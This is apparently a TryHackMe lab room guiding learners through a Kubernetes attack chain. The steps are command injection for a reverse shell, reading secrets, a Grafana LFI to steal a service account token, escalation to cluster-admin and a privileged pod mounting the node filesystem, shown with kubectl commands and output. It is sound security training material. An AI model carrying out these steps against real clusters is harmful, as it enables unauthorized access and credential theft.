To access material, start machines and answer questions login.
The learning objectives for this room are:
- Interacting with the cluster using
kubectl
- Reading Kubernetes secrets
- Doing recon inside the cluster
- Switching service accounts to escalate your privileges
- Lateral movement into other workloads
- Gaining access to the Kubernetes nodes
We assume basic knowledge of the Kubernetes architecture and some experience running Kubernetes administration tools like kubectl.
Disclaimer: Due to this room running on a VM it uses minikube which is not exactly the same as running a fully fledged Kubernetes cluster so you might experience some minor differences with a real cluster.
This machine can take a while to boot up (Give it 10 minutes)
Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)
Visit the website, it takes a host and returns the output of a ping command.
Use command injection to get a reverse shell. For more information on command injection attacks take a look at this room
You will find the flag in an environment variable.
Kubernetes exposes an HTTP API to control the cluster. All resources in the cluster can be accessed and modified through this API. The easiest way to interact with the API is to use the kubectl
CLI. You could also interact with the API directly using curl
or wget
if you don't have write access and kubectl
is not already present, Here is a good article on that.
The kubectl
install instructions can be found here. However, the binary is located in the /tmp
directory. In the event you run into a scenario where the binary is not available, it's as simple as downloading the binary to your machine and serving it (with a python HTTP server for example) so it is accessible from the container.
Now let's move to the /tmp
directory where the kubectl
is conveniently located for you and try the kubectl get pods
command. You'll notice a forbidden error which means the service account running this pod does not have enough permissions.
challenge@syringe:~$ cd /tmp
challenge@syringe:/tmp$ ls -la
total 45504
drwxrwxrwt 1 root root 4096 Jan 30 19:56 .
drwxr-xr-x 1 root root 4096 Feb 17 20:03 ..
-rwxrwxr-x 1 root root 46587904 Jan 30 19:17 kubectl
challenge@syringe:/tmp$ ./kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:syringe" cannot list resource "pods" in API group "" in the namespace "default"
You can check your permissions using kubectl auth can-i --list
. The results show this service account can list and get secrets in this namespace.
challenge@syringe:/tmp$ ./kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
Kubernetes stores secret values in resources called Secrets these then get mounted into pods either as environment variables or files.
You can use kubectl
to list and get secrets. The content of the secret is stored base64 encoded.
You will find flag 2 in a Kubernetes secret.
challenge@syringe:/tmp$ ./kubectl get secrets
NAME TYPE DATA AGE
default-token-8bksk kubernetes.io/service-account-token 3 41d
developer-token-74lck kubernetes.io/service-account-token 3 41d
secretflag Opaque 1 41d
syringe-token-g85mg kubernetes.io/service-account-token 3 41d
Use kubectl describe secret secretflag
to list all data contained in the secret. Notice the flag data isn't being outputted with this command, so let's choose the JSON output format with: kubectl get secret secretflag -o 'json'
Some interesting Kubernetes objects to look for would be nodes
, deployments
, services
, ingress
, jobs
... But the service account you control does not have access to any of them.
However, by default Kubernetes creates environment variables containing the host and port of the other services running in the cluster.
Running env
you will see there is a Grafana
service running in the cluster.
challenge@syringe:/tmp$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
GRAFANA_SERVICE_HOST=10.108.133.228
KUBERNETES_SERVICE_PORT=443
HOSTNAME=syringe-79b66d66d7-7mxhd
SYRINGE_PORT=tcp://10.99.16.179:3000
GRAFANA_PORT=tcp://10.108.133.228:3000
SYRINGE_SERVICE_HOST=10.99.16.179
SYRINGE_PORT_3000_TCP=tcp://10.99.16.179:3000
GRAFANA_PORT_3000_TCP=tcp://10.108.133.228:3000
PWD=/tmp
SYRINGE_PORT_3000_TCP_PROTO=tcp
HOME=/home/challenge
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
LS_COLORS=
GOLANG_VERSION=1.15.7
****************************************
SHLVL=2
SYRINGE_PORT_3000_TCP_PORT=3000
GRAFANA_PORT_3000_TCP_PORT=3000
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
GRAFANA_SERVICE_PORT=3000
SYRINGE_PORT_3000_TCP_ADDR=10.99.16.179
SYRINGE_SERVICE_PORT=3000
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
GRAFANA_PORT_3000_TCP_PROTO=tcp
PATH=/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/home/challenge
GRAFANA_PORT_3000_TCP_ADDR=10.108.133.228
_=/usr/bin/env
Kubernetes will create a hostname for the name of the service so you can access the service at http://grafana:3000
or the Grafana endpoint in my case http://10.108.133.228:3000
.
Do some enumeration to find out the version. Curl the /login
page and look for the version.
Google for known CVEs for this Grafana version. It is vulnerable to LFI (Local File Inclusion).
What is the version of Grafana running on the machine?
What is the CVE you've found?
Kubernetes stores the token of the service account running a pod in /var/run/secrets/kubernetes.io/serviceaccount/token
.
Use the LFI vulnerability to extract the token. The token is a JWT
signed by the cluster.
Use the --token
flag in kubectl
to use the new service account. Once again use kubectl
to check the permissions of this account.
challenge@syringe:/tmp$ ./kubectl auth can-i --list --token=${TOKEN}
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
The account can do *
verb on *.*
resource. This means it is a cluster-admin
. With this service account, you will be able to run any kubectl
command. For example, try getting a list of pods.
challenge@syringe:/tmp$ ./kubectl get pods --token=${TOKEN}
NAME READY STATUS RESTARTS AGE
grafana-57454c95cb-v4nrk 1/1 Running 10 (17d ago) 41d
syringe-79b66d66d7-7mxhd 1/1 Running 1 (17d ago) 18d
Use kubectl exec
to get a shell in the Grafana pod. You will find flag 3 in the environment variables.
challenge@syringe:/tmp$ ./kubectl exec -it grafana-57454c95cb-v4nrk --token=${TOKEN} -- /bin/bash
Unable to use a TTY - input is not a terminal or the right kind of file
hostname
grafana-57454c95cb-v4nrk
How many pods are running?
What is flag 3?
You can now close the Grafana pod shell and continue using the first one since it is more stable.
Having admin access to the cluster you can create any resources you want. This article explains how to get access to the Kubernetes nodes by running a pod that mounts the node's file system.
You can create a "bad" pod based on their first case example. You will need a slight modification because the VM does not have an internet connection, therefore it is not able to pull the ubuntu
container image. The image is available in minikube's local docker registry therefore you just need to tell Kubernetes to use the local version instead of pulling it. You can achieve this by adding imagePullPolicy: Never
to your "bad" pod container. Once that is done you can run kubectl apply
to create the pod. Then kubectl exec
into the new pod, you will find the node's file system mounted on /host
.
challenge@syringe:/tmp$ ./kubectl apply -f privesc.yml --token=${TOKEN}
pod/everything-allowed-exec-pod created
challenge@syringe:/tmp$ ./kubectl get pods --token=${TOKEN}
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-pod 1/1 Running 0 61s
grafana-57454c95cb-v4nrk 1/1 Running 10 (18d ago) 41d
syringe-79b66d66d7-7mxhd 1/1 Running 1 (18d ago) 18d
challenge@syringe:/tmp$ ./kubectl exec -it everything-allowed-exec-pod --token=${TOKEN} -- /bin/bash
Unable to use a TTY - input is not a terminal or the right kind of file
hostname
minikube
Get the root flag!
Created by
Room Type
Free Room. Anyone can deploy virtual machines in the room (without being subscribed)!
Users in Room
4,156
Created
1263 days ago
Ready to learn Cyber Security? Create your free account today!
TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.
Already have an account? Log in